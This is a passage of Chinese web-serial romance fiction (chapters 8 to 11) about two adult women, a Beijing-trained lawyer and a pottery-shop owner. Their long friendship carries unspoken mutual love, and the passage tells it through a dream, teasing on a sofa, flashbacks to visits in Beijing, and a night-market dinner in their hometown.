闻山意终于能睁开眼睛了,眼尾的泪水被姜青黛用指背擦去。
她温柔地看着她,看得闻山意有些不好意思,想垂下眼又忍不住期盼。
“岁岁。”
闻山意的下巴被一只手抬起来,拇指摩挲过她淡色的薄唇,抚弄出旖旎的血色。
蔓延开的粉晕一直延续到女生的耳根雪颈。
“我想要……”
这句呢喃的话进入闻山意耳朵时,姜青黛的唇已经贴在了她的唇前。
闻山意攥住她胳膊的手紧了紧。
仿佛一个信号,女生偏了偏头,高挺的鼻梁抵着脸颊,朝她轻柔地吻了下来。
一股很甜的滋味在交融的舌头间化开。
闻山意轻轻嗯了一声。
姜青黛拉下了她的两只手,圈在自己的腰上,唇舌含得更深了。
女生的眼角被吻得又泛红。
喉咙主动地不断吞咽,喘息急促。
闻山意的意识在梦境里挣扎,她知道此处并非现实,她睡着之前应该是在姜家的沙发上,她不能……至少不能在姜青黛身边放纵自己。
快醒过来!
现实的姜青黛一脸迷茫地看着她越蹙越紧的眉头。
梦里的姜青黛已经将闻山意抱上了课桌,桌椅在地面带出急切的声响!
8. 008
天花板的视野在睁开的视网膜前急速旋转。
闻山意抓紧了身下的沙发布料,指骨泛出用力的白皙,惊喘一声,终于从梦境里脱离出来。
她的身体如置狂浪,呼吸急促,骤然清醒的神智没能跟上泥淖里的肢体,只能任由头脑平复长久地眩晕。
姜青黛的脸出现在她的上方,仿佛和她一起从梦里出来了。
闻山意沙哑地脱口而出:“不要……”
姜青黛目光清柔:“不要什么?”
闻山意火热的心绪一顿,道:“你离太近了,我有些喘不上气。”
姜青黛闻言坐远了些,留足她呼吸的空间,问:“做噩梦了吗?你一直在皱眉头。”
她的手自然地落在女人紧绷的手背,翻过来摸到她掌心的汗水,说:“都湿了。”
“……”
闻山意道:“嗯。”
姜青黛知道她最近刚接手一个棘手的案子,不是法院就是看守所来回跑,忙得两周没和她见面,抿了抿唇,道:“是不是工作压力太大了?”
闻山意只好:“对。”
姜青黛反复摸着她的手腕和骨节,调侃说:“要不你跟了我吧,我捡垃圾养你啊。”
闻山意看着她的眼睛,说:“好。”
她回答得太认真了,姜青黛反而做贼心虚地偏开视线。
闻山意眼神一黯,垂下了长睫。
“咳。”
姜青黛平息好自己的心跳,转过来见闻山意已经再度阖上了眼帘,想好的话也咽了回去。
闻山意心口起伏明显,只是在闭目养神。
姜青黛盯了一会儿,觉得一直看对方胸不太礼貌,往上看吧,刚刚闻山意做噩梦把嘴唇咬得红红的,水光潋滟的,引人犯罪。
还是往下看吧。
姜青黛的目光落到了自己扣着的那只如玉的手掌中。
出完汗的手心冰凉,和她在冬天的体温很像。姜青黛喜欢在冬天牵她的手,因为闻山意怕冷,每次都会塞进她口袋里取暖,细长的手指随之探入她的指缝,在无人知晓的地方十指相扣。
那个时候她会离得她特别近,脑袋轻轻一偏就能枕在姜青黛的肩膀上。
有一次上学出门早了,到学校还有半小时上课,两人没去教室,而是就这么默契地手牵着手,沿着学校的人工湖走了一圈又一圈,脸都被冷风吹红了。
闻山意身体比较差,这么着深冬吹了几次寒风,她就中了招,感冒发烧,带病上学。
姜青黛再也不准她冬天去湖边了。
掌心的玉手柔若无骨,姜青黛小力地握住女人白嫩指尖捏了捏,问:“你现在的身体怎么样?还容易发烧吗?”
闻山意躺在那里,睁开一线眼帘,说:“你猜。”
“你信不信我找人弄你?”
“那你弄我吧。”
闻山意彻底躺平,摆出逆来顺受的架势。
姜青黛哈一声,膝盖抵上沙发边缘,长腿一迈,就要翻身骑到她腰上。
闻山意青筋愉快跳动:“停!”
姜青黛收回腿,嘻嘻笑:“早交代不就完了。”
“……”
闻山意缓了缓,坐起来拢了一把脑后的浓密长发,曲腿离姜青黛一个人的距离,戒备得不动声色,懒洋洋地回:“你不是知道吗?我刚练出马甲线,里里外外被你摸过多少遍了。”
姜青黛露齿一笑,道:“不给我摸你还想给谁摸?”
闻山意说:“鹭鹭,她上周刚摸过。”
当初姜青黛的姐妹团是三个人,俗称“铁三角”,姜青黛、闻山意和沙白鹭。闻山意是中途加入的那个,换言之,沙白鹭才是嫡长闺。
沙白鹭和姜青黛的友情从初中开始,高中一个班,大学和工作都在同一个省,平时没少厮混在一起。
听到能有此殊荣的第三个人是沙白鹭,姜青黛勉强咽下了嫉妒心。
闻山意连忙按住自己的上衣下摆,还是没能杜绝姜青黛伸过来的魔爪,侧腰和平坦小腹里外里又被蹂.躏了一遍,占尽便宜。
闻山意布料下柔软的腰肢绷紧颤抖。
女人屏息咬唇,淡粉唇瓣陷进浅浅齿印,忍不住的时候脸扭到一边呼吸。
姜青黛确保最新覆盖上去的气息属于自己,方想起来狐疑地问:“你上周不是忙得不可开交,我约你你都说没空,怎么有空和她吃饭?”
闻山意往后坐,腰还是软的,把抱枕拉到身前挡着,才回答:“刚好下班遇到了,你知道,我住在她的管区。”
沙白鹭是闻山意住的那片社区街道的民警。
当初闻山意回海陵市,找好工作后急需租房。三人摊开地图,从姜青黛的家到闻山意的律所拉了一条直线,在直线方圆十公里,刚好有沙白鹭任职的派出所。
闻山意一个人在省会独居,能够有好姐妹就近照应当然是最好的,姜青黛也能放心。
然而两人近水楼台,常常背着自己约会就算了,一起吃了饭都不告诉她。
姜青黛酸溜溜:“你们俩是不是有什么小秘密了?”
闻山意:“没有,真就只一起吃了饭。”
姜青黛:“我和你才是最好的。”
闻山意直接:“我俩天下第一好。”
“嗯。”
很容易就哄好了姜青黛,闻山意起身说她要去洗手。
姜青黛低头悄悄给沙白鹭发微信:【上周你和闻山意一起吃饭了?怎么没人告诉我】
沙白鹭:【值班太忙忘记噜,就吃了二十分钟的饭,大醋坛子你好】
沙白鹭:【你俩每周约会也没人告诉我呀﹁ ﹁ 】
姜青黛:【我不是在群里说了吗?你没空出来哇】
沙白鹭:【本人没有当电灯泡的爱好,还是为人民发光发热吧】
姜青黛:【沙警官好觉悟[敬礼.gif]】
沙白鹭:【[敬礼.gif]】
沙白鹭停好自己的执勤车,站在车边回完姜青黛的消息,想起上周她和闻山意吃完饭分开时,对方特意叮嘱她不要告诉姜青黛。
沙警官当场笑道:“怕她吃醋啊?”
闻山意的神色却不如她轻松,眉眼间隐有惆怅。
沙白鹭:“……没事,我不说就是了。”
闻山意:“谢谢。”
“和谁生分了也不该和我生分啊。”沙白鹭冲她眨了眨眼皮,“毕竟我们俩之间又没有什么。”
“……”
沙白鹭作为三人组里先来的那个,起初对加入的闻山意不是没有微词。但是她又发自内心地欣赏比她优秀的同性,要不是因为姜青黛,沙白鹭都没机会和闻山意做好朋友。微妙的互相吃醋三角关系,在沙白鹭有天发现她们俩好像在谈恋爱以后,火速推翻重建。
她现在比较担忧的是,要是她俩分开了,她的抚养权归谁?
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一三五归姜青黛,二四六归闻山意,周日以为了孩子的名义让破碎家庭重组?
这种事情不要啊。
孩子只想要一个完整的家。
*
盥洗室传出水龙头的汩汩声。
冰凉的水流缓缓包裹住细白的指节,闻山意盯着流水心不在焉地出神。
她是故意避开姜青黛不和她见面的,或者说,主动降低见面的频率。刚回来的那段时间,两人经历了漫长的异地,有空就会见面。
姜青黛更是从周一到周日,恨不得每天都开车跨市去找她,就差住她租的房子里了。
姜青黛个直女没轻没重,经常不自觉地撩拨她,撩她就和呼吸一样简单。
苦了心怀不轨的闻山意。
甜蜜又折磨。
她耽溺于同热恋无差的暧昧,又深知这种恋爱只是单方面的。日日为姜青黛牵动情思,夜夜回想起白天亲密的肢体接触,孤枕难眠。
……害她买了不少小玩意儿助眠。
她身体本就不好,如此下去从心到身都要被姜青黛掏空了。
最重要的是,已经影响到了她的工作状态。
闻山意于是以工作忙为借口,人为控制和姜青黛见面的次数,每当自己被撩动的心潮差不多平静下来,她就可以准备下一次见面了。
周而复始,逃不开姜青黛这只在她心湖制造风暴的蝴蝶,她也不想逃开。
曾经她无数次以为可以,最终还是选择主动落入她的温柔陷阱。
她轻轻煽动一下翅膀,闻山意世界所有的风都会无条件地偏向她。
……
闻山意盯着镜子里的自己,掬起一捧冰凉的水低下头,弯腰将脸贴进了手心。
沁凉的水珠浇灭了脸颊的温度,却浇不灭心头的火焰。
这次见面过后,她又需要一段时间冷静自己了。
也……需要把中午做到一半的梦做完。
闻山意双手撑在洗手台的边缘,看着透明水珠缓慢地流进脖子里,丝绸衬衣的V领两边都被打湿,颈边掉落的一缕墨发黏在皮肤上。
闻山意从里面走了出来,姜青黛握着手机,已经聊完天,专注地在等她。
有无数个时刻,姜青黛都会静静地停在那里等她。
高中时等她一起上下学;念大学时送她去火车站,目送她上车一直到列车尾开走;她每次回灵州姜青黛都站在出站口,她去北京也是。
姜青黛的身影从十八岁站到二十八岁,风雨无阻地送她,看着她在前程里越走越远,离她越来越远。
闻山意是不回头的那个人。
有时候闻山意会想,她会不会其实有一刻也在等自己回头,希望她的脚步声在身前响起。
轰隆隆的高铁在既定的轨道奔驰,列车窗户玻璃隔开了两颗本该紧紧相依的心。闻山意坐在窗边,一次次地攥紧手里的挎包肩带,回忆遥远的模糊的那道身影,泪眼朦胧。
姜青黛久久地伫立在进站口,看着电子显示屏上列车驶离,下一班列车进站。
良久,才垂下眼,眨掉睫毛上的湿意。
等待下一次重逢,抑或是,这会是最后一次重逢。
闻山意的脚步声在面前响起,姜青黛将视线从地面抬起来,见到她的第一时间扬起灿烂的笑容。
姜青黛:“我等你好久了哦。”
闻山意快步上前,伸手将她紧紧地抱入怀中。
9. 009
姜青黛被突如其来的拥抱抱得一怔,以至于差点没能控制住胸腔里的心跳自作主张。
但是人在突然的情况下就是会心跳加速啊,所以姜青黛没有抑制流动的情愫,任由血液乖张地奔涌,在心上人的怀抱里身体微微发热。
——反正闻山意看不到她的脸。
姜青黛调整了一下角度,让自己的脸颊缓缓埋进对方的脖子里,不动了。
她的鼻翼轻轻翕动,不动声色地捕捉女人颈间的香气。
嗯?为什么闻山意的心跳得也这么快?
闻山意摸着她后背柔顺的长发,下巴垫在她的肩膀。
千头万绪不知从何说起。
无论爱情还是友情,这段感情之所以这么多年没有走散,是因为姜青黛一直在原地等她。
有多少次她们的友情岌岌可危,从好朋友变成普通朋友只有一线之隔。
距离是一个太难打败的怪物,三年同窗,一朝分离,飞向天南海北。两人面对的生活环境和经历没有任何相似之处,共同语言越来越少,彼此身边都有了新的朋友,打开聊天框翻到两三个月前的消息,编辑了对话又删除。
九年异地,渐行渐远渐无书,才是众多感情的归宿。哪怕每年生日仍然记得准点互送祝福,淡了就是淡了。留下的只有对年少情谊不舍的执念。
每当这时,姜青黛就会向她走一步。
毕业以后,姜青黛每年都会飞去北京见她,哪怕闻山意忙到只能陪她吃两顿饭,她自己一个人在北京的大街小巷溜达,用现在的话叫city walk,也自得其乐,毫无怨言。
去接她下班,晚上一起手牵手逛超市,分开的时候姜青黛去住酒店,闻山意回她的五环合租房。
她出现短短的两天,足以填补闻山意心里巨大的空缺。
【上飞机了】
从姜青黛坐在返程的航班上给她发消息起,闻山意就开始期待下一次的相见。
【起落平安】
姜青黛:【哎呀,忘了给你带咱妈亲手做的红薯干,下次吧】
闻山意:【好,下次,或者我今年过年去你家吃?】
姜青黛:【我把聊天记录转发给咱妈了,你今年过年还不回家的话就丸辣!】
闻山意失笑:【说话算数】
姜青黛走后,闻山意打开二人的微信聊天记录,比过去几个月都丰富,她上滑翻到许多游客照。
都是姜青黛这两天在北京玩的时候拍的,故宫博物院,南锣鼓巷,簋街,什刹海,红砖美术馆……还有一些不是景点的地方,让路人帮她拍了照,再一张张发给闻山意。
美食、猫猫狗狗,有趣的墙壁涂鸦。
她有一双发现美的艺术的眼睛。
闻山意在北京那么多年,忙忙碌碌疲于奔命,看到的都不如她看到的多。
闻山意把所有的照片都妥善保存下来,在繁忙工作的喘息之际,一张照片一张照片地走过去。驻足在她停留过的街道,吃她吃过的小吃,坐在咖啡厅拍她拍过的小猫。
姜青黛在法海寺的壁画前划手臂比了半颗心,闻山意把另外半颗心补全了,发给她。
姜青黛:【闻律师今天也有在好好生活呀,朕心甚慰】
闻山意:【路过院墙看到一只丧彪哈哈[照片]】
姜青黛:【瞎说,明明是只威风的咪咪】
姜青黛:【店里对门养了只狸花,经常来咱店里蹭饭,已经是编外人员了[照片][照片][照片]】
闻山意:【好可爱啊555】
闻山意的工作很忙,尤其是刚独立执业的那两年,压力大到难以想象,她一没人脉二缺乏经验,在北京城一穷二白,失去实习收入的同时,每个月睁眼倒欠律所三千五。
为了案源,没有背景的新人律师什么方法都得去试。早出晚归,摸爬滚打,出入在各种社交场和应酬场合,努力把自己当成销售一样推销出去,名片印了一打又一打。
这些事都是她不能和姜青黛说的,姜青黛不会懂得她面对的精神压力,她也不希望对方知道。
人在极度的压力之下完全放松不了,她没有办法再和姜青黛若无其事地聊天,听她分享那些平凡的日常——对她而言是那么遥不可及。
她快要吃不上饭了,她要先解决生存的问题,再来考虑生活。
坦而言之,姜青黛想的没有错,她旺盛的分享欲确实给闻山意带来了不小的负担。
当她熬夜在浩如烟海的资料里寻找判例,加班加点研究案卷,法律文件,喝着冷掉的咖啡,电脑里的开庭资料敲了一页又一页,姜青黛在给她发今天新开了一家超市,晚上和妈妈一起散步去买了零食,问她想吃什么吗。
闻山意不会不回她,因为她从没有让姜青黛在她这里落空。
但她当下确实没有空也没有精力分心,只能等到处理好手边的事,下次再打开微信一句句回复,有时连轴转忙到焦头烂额,过两三天才会想起来。
久而久之,姜青黛的聊天框跳出来的次数越来越少,她在对自己失去分享欲,往后就是感情慢慢变淡,普通朋友,到陌生人,闻山意明知结局亦无力去挽回。
她的生活早被工作填满了,没有自己的闲暇,她顾不上更多。
在一次长达两个多月没有联系以后,姜青黛突然给她发消息:【你最近在不在北京啊?5号到8号有空吗?】
闻山意有时候会飞去外地开庭。
闻山意很快回复:【在北京,怎么了?】
姜青黛:【我想去北京找你,可以吗?】
闻山意犹豫:【可以是可以,但是我可能没空陪你玩】
姜青黛:【不用你陪我,我就是自己想去北京玩,而且最近国博有个埃及展】
闻山意在北京上大学的四年间,姜青黛已经趁着假期过来把首都有名的景点逛遍了,她对古埃及文化也从来没有感兴趣过,编个陶瓷展的借口闻山意说不定更相信一点,然而当时没有陶瓷展。
闻山意:【要不算了吧?我真的没有空,不想你那么累过来】
姜青黛:【在不在北京?】
闻山意:【在】
姜青黛:【好,我来了】
十
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二年间闻山意对姜青黛有过很多个心动的瞬间,点点滴滴,甚至大多都记不清了。唯有那一次,是她至今都能完美地回忆起当时的心情。
有什么东西从里面急促地撞击着她的胸膛。
她沉重地呼吸着,双目紧紧锁定手机屏幕,连手都出了汗。
这一个时刻,她竟然不知道自己应不应该继续拒绝。
姜青黛该不会是骗她的吧?今天是愚人节吗?
几分钟后,姜青黛给她发来航班号。
在那一秒,闻山意听清了自己内心真正的声音,她也想见她。非常想,特别想见她。
闻山意立刻说:【我去接你】
姜青黛:【我可以自己去酒店的】
闻山意:【我一定要去接你】
第二天中午,闻山意在机场接到了一年多未见的姜青黛。姜青黛单手推着一个二十寸的黑色登机箱,穿一身浅色运动服,脚踩板鞋,长发拢在脑后,眉眼褪去了曾经的学生气,依然年轻貌美,只是有些清瘦。
闻山意在北京摸爬滚打,姜青黛在灵州为了开店呕心沥血,谁也没有过得轻松。
也谁都没有告诉对方。
姜青黛从出口走出来,闻山意朝她用力挥了挥手,唇瓣开合,却艰涩地没有发出声音。
姜青黛推着行李箱走到她面前,松开拉杆朝她张开双臂,说:“老同学,不打算给我一个拥抱吗?”
闻山意伸手紧紧地抱住了她,止不住热泪盈眶。
她连下巴都深深地嵌在姜青黛肩窝里,出口的话微微哽咽又带着埋怨。
“你怎么说话变得好像一个大人。”
姜青黛哈哈两声,说:“最近老是跟年纪大的人打交道,一时没改过来。”
“我不喜欢。”听起来好生疏。
“你不喜欢我就不说了捏。”
闻山意的脸又往对方颈窝深处埋了埋,搂住了姜青黛的肩膀,抱得她动弹不得。
姜青黛用脚抵住行李箱,防止它滚动。
去酒店的出租车上,闻山意两只手放在自己的膝盖上,因为刚刚在姜青黛脖子里掉了两滴眼泪有些局促和尴尬。
也有一部分不知道怎么面对对方的无所适从。
左肩忽然微微一沉,姜青黛的脑袋偏过来枕在了她的肩膀,她握拳抵在膝盖的手也被掰开,一根手指一根手指地和姜青黛的纠缠在一起,十指相扣。
闻山意心里紧绷的那口气忽然松了。
幸好,一切都没有变。
她另一只手伸过来,缓缓覆上二人交握的手,在姜青黛柔软光滑的手背抚了抚。
姜青黛从她肩头仰脸看她,目光定定地望了许久,不动声色凑近她的颈项,鼻尖轻缓蹭了蹭,闻着她身上久违安心的香气闭上了眼睛。
“我好想你,闻山意。”
她起大早赶飞机奔波,在她怀里很快睡着了,年轻女人的一只手换作搂着她的腰。
姜青黛脑袋低垂,脖颈里安分地贴着。
闻山意感觉自己在发着抖,抵在她发顶的下巴低下来,嘴唇碰了碰她的头发。
10. 010
闻山意送她到酒店,来不及陪她上楼,便匆匆赶往下午的看守所会见当事人。
姜青黛目送她下来的那辆出租车远去,转身进了酒店大堂。
姜青黛是临时决定来北京的,昨晚她还在江边吃烧烤,对着消息框里两个月前的微信文字惆怅,回到家她就连夜买了飞机票。
有一点冲动,但不后悔。
尤其在见到闻山意以后。
她消瘦了许多,脸上有妆容都掩饰不了的憔悴和疲态。
姜青黛眼眶微微发热。
好不容易高中三年在自己家养胖了一些,上了大学维持了两年,从大三寒假实习开始就越来越瘦,现在都瘦到她第一次见她时候的样子了。
在机场接过她行李箱拉杆时,她都看到对方手腕凸起的骨头了,苍白失血,一看就是没好好吃过饭的。
她今天连中午饭都没吃呢。
姜青黛打开微信聊天,敲了几个字又放弃,要是有时间,闻山意会故意不吃饭吗?
怪自己没有上飞机前买点吃的带给她,明知道她那么忙抽空来接机,还不提前准备。
早上出门前妈妈让她带几个青苹果路上吃,她跑得飞快,连声说用不着,现在知道后悔了,有时候还是得听老姜的。
姜青黛自个儿趴在酒店的大床上,手机屏幕倒扣着,不想打扰闻山意。
闻山意的消息却进来了。
【入住手续办完了吗?】
姜青黛连忙拿起手机回:【我已经住进酒店房间了[照片]】
闻山意:【那就好,晚上我带你去吃饭,大概六七点钟】
姜青黛:【好捏】
闻山意“正在输入”了三十多秒,对话框里弹出一句:【对不起啊】
姜青黛心口发酸,文字不露声色:【咱俩谁跟谁啊,说这个】
闻山意又输入半天,回:【嗯】
闻山意:【我整理一下文件,晚些时候聊】
一个小时后,闻山意回她下午最后一条消息:【我到看守所门口了,现在进去会见】
……
再见到闻山意是晚上七点半。
北京的交通实在难搞,晚高峰尤其噩梦,如果闻山意要去酒店接了姜青黛再去吃饭的话,她们的见面要推迟一个小时。所以她订了餐厅,把地址发给姜青黛,两个人分头出发,终于提前会合。
闻山意因为今天去会见当事人,穿的是她最正式的一身行头,纯色西装的面料在灯光下泛出低调的光。
她盘起了一头长发,颈部线条完全露出来,额前落下几缕青丝,被她松松地别到耳后。
年轻的脸虽然有些憔悴,但嘴唇施的一层口红又让她容色焕发。
白肤红唇,像极了姜青黛和她在十几岁的时候看的电视剧里的精英。
当时只觉得遥不可及,现在就在自己面前,还是她的好朋友。
姜青黛坐在她对面,看了一眼又一眼,险些垂涎三尺。
闻山意递过来菜单:“想吃点什么?青黛?姜青黛?”
姜青黛的视线落在菜单上不足三秒,不受控制地回到闻山意脸上,说:“你,下午是不是没盘发?”
闻山意抬手摸到自己的脑后,恍然道:“我忘记解开了。”
她年纪不大,资历浅,盘发会显得干练,更能取信委托人。
姜青黛阻止的话还没说出口,闻山意已经把长发散下来,披在肩头。
姜青黛:“……”
更清纯诱人了怎么回事?
姜青黛:“你平常就这样见委托人吗?”
闻山意:“没有,上班的时候就刚刚那样盘发。怎么了?”
姜青黛:“没事,你……唇妆花了。”
闻山意进餐厅前特意在洗手间补过妆了,心想不应该啊,她掏出镜子照了照,说:“哪里?”
姜青黛从对面走过来,坐到她身边的沙发卡座里。
闻山意疑惑地看着她的眼睛,姜青黛拇指指腹轻轻地按在她唇角下方,低声说:“这里。”
她拇指移开,闻山意的唇妆缺了一小块。
闻山意极快地颤动了两下眼睫,喉咙不动痕迹地滑了滑。
姜青黛起身回到对面看菜单去了。
她清了清嗓子,头也未抬地说:“既然一会就吃饭了,口红应该也不用补了。”
闻山意端起水杯喝了一口白水,长睫意味不明地低垂。
“……嗯。”
姜青黛在桌子底下攥紧了自己碰过闻山意嘴唇的那只手。
大拇指藏进掌心。
九点半,二人在商场门口分开。闻山意现在和三个室友合租,住在五环,姜青黛的酒店在二环。闻山意以时间太晚为由拒绝了姜青黛想去她合租房看看的请求,也没有答应姜青黛提议她一起睡酒店房间的邀请。
姜青黛定的是大床房,鉴于她们俩上次睡一张床的前科,闻山意不想铤而走险。
姜青黛那次在北京待了三天,逛了国博的古埃及展,大多数时间都在酒店,等闻山意抽出空陪她吃晚饭或者宵夜,三天后,她坐上返程的航班。
而闻山意当天要去法院送开庭前的补充材料,没办法来送她。
那次之后,姜青黛每年都会飞一趟北京,开始她的city walk之旅。她独自走遍北京的小街小巷,想着闻山意的身影会不会曾经经过。
她拍下很多照片,打卡了各个区的法院。
闻山意后来也发了自己在法院门口的合影给她。
即使她亲口吐槽过,这真的很奇怪。
年少时的情谊固然宝贵无暇,然而时间会将一切吹成流沙。
就像没有上色的素胚陶瓷,任何人都能在表面勾勒涂抹,走向不同的命运。而姜青黛始终爱惜地捧在手里、一遍一遍地吹釉,经过砖窑1300度的高温烈火烧制,然后它才能在风雨里不朽。
这么多年,同窗之谊早就化成了更深厚坚固的感情,姜青黛的分量在她心目中越来越重,直到高过一切。
这世上不是只有爱情让人牵肠挂肚,友情同样可以。
她是最爱的人,也是最好的朋友。
……
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姜家的客厅里,闻山意的双臂紧紧地抱着姜青黛,十年间种种在心头一一闪过,姜青黛向她走的每一步都记忆深刻。
话到嘴边了反而显得矫情。
如果她真说出煽情的句子,姜青黛肯定天雷滚滚,第一个给她录下来当黑历史,反复背诵鞭尸。
闻山意也不是刚毕业的闻山意了,会克制不住情绪在她怀里掉金豆豆。但她也不想放开手,好在怀里的女生没有挣扎,非常安分地把脸枕进她的颈窝。
两人各怀心思地抱了对方半天,心满意足地分开,顶着一张若无其事的脸看向对方。
姜青黛没话找话,伸手触碰了一下她的领口,说:“你衣服弄湿了。”
闻山意低头看了眼:“刚刚不小心被水打湿了。”
姜青黛哇哦一声:“湿.身诱惑,好诱人啊。”
闻山意:“………………”
直女又开始玩弄她了。
有胆你的眼神再脏一点,别永远那么正直坦荡。
她就会让她知道什么叫真正的湿.身诱惑。
姜青黛故作轻佻实则纯洁地把她扫了一遍,指尖伸出去在她锁骨碰了碰,拇指指腹在上面略施力道地抚了抚。
锁骨那片薄白透明的肌肤很快泛起旖旎的桃粉色。
姜青黛收回手,点评:“嗯,还是这么敏感。”
闻山意:“………………”
“啊!”
下一秒天旋地转,姜青黛被闻山意按在了沙发上,长裙也在摩擦中被撩到大腿,闻山意骑在女生纤细的腰肢上,感受着她由于紧张不断起伏的有力腰腹。
姜青黛举起双手,果断求饶:“我错了姐姐!”
她虽然能控制住去亲吻的冲动,但是却无法控制自己亲近闻山意的本能欲望。
只要在同一个空间,她就想要和她有肢体接触,是抱在一起,或者碰一碰她。有时候手贱了,还想摸一摸对方。
早都习惯了,闻山意不会怪罪她的。
她的认错也驾轻就熟。
知道错了,下次还敢。
闻山意看着躺在她身下听凭处置的姜青黛,眸色深了又深,直到看不见底。
闻山意唇瓣动了几次,低哑说:“让我咬一口。”
姜青黛问:“咬哪里?”
闻山意的腰缓缓下移,坐到了姜青黛的髋骨位置,不经意地抵磨了一下,姜青黛眨了眨眼。
闻山意压抑着深处隐隐的跳动,从她的唇落到颈项,柔弱雪白得指腹轻轻摩擦就能印下暧昧红痕。
女人忍耐地移开视线,平静地说:“手给我。”
姜青黛依言伸手过去,常年拉坯和绘画的手比常人的白皙修长,表面光滑连一丝瑕疵都不见,像是一尊活的艺术品。
闻山意握住她白嫩的指节,在姜青黛自下而上的注视之下——
她张口咬了一下姜青黛的指尖。
姜青黛低低“嗯”了一声。
轻微的痛觉没有完全离去,姜青黛的指节又被软软的湿意包围。
——她在舔她。
11.011
闻山意伸舌舔舐那道微不可见的牙印,姜青黛愣愣地看着她。
她是在以其人之道还治其人之身吗?
就因为自己在喂水果的时候咬了她的手?
姜青黛无暇分析,她的心神随着女人探出的一小截红润舌尖晃动,在她最过分的梦里,曾经含着它反复吮弄,缠绕追逐,不舍她轻易逃离。
指尖传来的异样触动反而被她忽略。
结束以后,姜青黛感觉自己的指端湿湿的。
闻山意也从她身上离开,抽了桌上的湿巾过来,给她仔细擦拭手指。
见对方一副神游天外的模样,对她的勾引完全没有反应。
闻山意意料之中的失落,浅淡的情绪被她迅速挥之一空,平静告知道:“我去书房休息会儿。”
姜青黛慢半拍回道:“好的。”
闻山意的背影已经被关在了书房内。
本来打算趁天色尚早两人一起出门逛逛的,谁也没了心思。
姜青黛看了眼书房的方向,慢慢地在沙发上翻了个身,把发烫的脸颊埋进了抱枕里。
没过多久,客厅的大门传来打开的声响,又关闭,隔着书房门听不真切。
闻山意的目光从书里抬起来,扭头看向房门。
姜青黛来到了小区楼下,长出了一口气。
五月的槐花到了花期的末尾,势必要将所有的春意燃尽。明明是润物细无声的香味,在荼蘼时节竟然花香馥郁,唤醒人内心的春天。
姜青黛站在树下,把所有的锅都推到了春天身上。
万物交.配的季节,人也不例外。
她到小区外散了一圈步回来,用钥匙开了门,闻山意已经在客厅坐着看电视了。
午睡时所有拉着的窗帘都打开,光线明亮,纱窗外槐花香从孔隙里钻进来,难耐的春日又在蠢蠢欲动。
姜青黛坐在了三人沙发末尾的一端,不和闻山意坐得太紧。
下午就在罐头笑声的综艺里悄无声息过去,期间闻山意接了一个咨询电话,约了下周在律所见面。回了三次微信,看表情的严肃程度,应该都是公事。
没有任何可疑行迹。
晚上姜家爸妈不回家做饭,姜青黛也没有周末动手下厨的想法,至于闻山意,在北京没有正经下过一次厨。虽然目前搬到海陵市独享三室两厅130平的江景房,开火的次数屈指可数。
得,出去吃吧。
两人一拍即合。
姜青黛带闻山意打车去了大排档,周末晚高峰,满街的小电驴大军浩浩荡荡,占领一半机动车道,偶尔可见穿着校服的学生成群结伴。
自行车铃声阵阵。
闻山意降下车窗,半边脸朝向车外,看见一道推着自行车的校服女生身影走在人行道上,旁边的女生举着一根雪糕,你一口我一口地说笑着在窗外倒退。
姜青黛牵着闻山意的手在夜市入口的人流中穿梭自如,闻山意只偏头瞧向她的侧脸,任由她带自己去往世界任何地方。
沿路的小吃摊烈火烹油,炒粉炒面,烧烤生蚝,热浪扑面而来。
灵州人爱吃,满城有好几条夜市,越晚越灯火通明,人声鼎沸。
高中的周五不上晚自习,别的高中生被父母催着回家吃饭,姜青黛爸妈要看店管不了她,简直自由快乐得像一只小鸟,还带着闻山意一起出笼飞。
两人对本市好吃的店简直如数家珍。
去的最多的店是一家叫英姐水煮的夫妻店,丈夫负责后勤,妻子在前边卖水煮。生意好得一年就从流动摊位摆成了沿街店面,学徒都收了好几轮,分店遍地开花。
最地道的还是一开始的那家。
姜青黛在露天的桌椅里坐下,还没到用餐高峰期,店里已经坐满了,她连忙让闻山意占上座,自己去里面点单。
“你还和以前一样吗?”姜青黛迈出几步,回头问道。
“一样。”闻山意扬声。
姜青黛刚一进门站到水煮台子面前,老板英姐就抬头笑道:“来啦,有段时间没见你了。”
姜青黛笑着回:“在忙工作。”
她先点了自己那份,又流利地报出了闻山意爱吃的种类,带着一种很明显的幸福笑容。
老板依样给她放进笊篱里烫煮,说:“今天不是一个人来的?”
“对。”
“男朋友?”
“女朋友。”
女朋友也有女性朋友的意思,只有说者本人明白真正的含义。
在传统的小城,人们甚至不会往恋爱交往的方向想。
姜青黛指了指门口的方向,嘴甜道:“我坐在外面,麻烦姐姐一会帮我端过去。”
“好嘞。”
姜青黛回到闻山意身边坐下,看到她又在低头回微信,见她过来把手机锁屏搁在桌面。
通知界面弹出了好几条微信。
姜青黛脑海中立刻警铃大作!
正在这时,老板端着热气腾腾的大碗水煮过来了,先放在姜青黛面前,然后才看向对面坐着的闻山意,眼熟地诶了一声。
“你是不是以前和她经常一起来的那个小姐妹?”
闻山意说是。
老板热情道:“听说你在北京做大律师的,这是放假回家了?”
闻山意:“……”
她到底在外面对多少人说起过自己?
面对闻山意投来幽幽的目光,姜青黛举起两只勺子分别遮住自己的两只眼睛。
老板夫把另一碗水煮端上来,老板英姐去而复返,手里拿了一碟卤肥肠和两听可乐,笑吟吟地说:“两位小同学,阿姨欢迎你们回家,请你们喝可乐。”
英姐比她们大很多,十几岁的时候两人穿着二中的校服跑来吃水煮,因为长得乖,英姐经常给她们送可乐。
现在英姐已经有了白发,还记得当初两人坐在店里的场景。
一个校服整洁,话少文静,经常坐下来还在看书包里带来的卷子。
另一个坐立不安,伸手去拨弄她的试卷。
“你别看卷子了,也看看我吧?”女生的语气可怜兮兮。
闻山意的目光从试卷里抬起来,对面故作可怜的脸就会露出大大的笑容。
“怎么样?是不是很好看?”十六岁的姜青黛以手捧脸。
“不要脸。”校服女生笑骂道。
后来那个爱学习的学生果然考去了北京,寒暑假两人又一起过来,还是和以前一样,一个在嬉闹一个在笑。
没有多久,闻山意就再也没有露过面了,听独自过来的姜青黛说:她实习了。
她毕业了。
她留在了北京。
她成了一个很厉害的律师。
她不会再回来了。
……
英姐放下两听可乐在桌子上,进门前回头看了一眼,眼睛旁边的笑纹深了些。
这不还是回来了吗?
这么多年还能重聚,真是一对情比金坚的小姐妹。
闻山意拆了一次性筷子,交替磨去边缘的毛刺,习惯性往面前伸筷子的时候才觉察到不对劲,以前她们都是从同一个碗里夹菜的。
姜青黛解释说:“我怕你离家太久吃不了辣,给你点了微辣
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的汤底,所以分了两个碗装。”
她把自己的碗推过去:“你尝尝我的。”
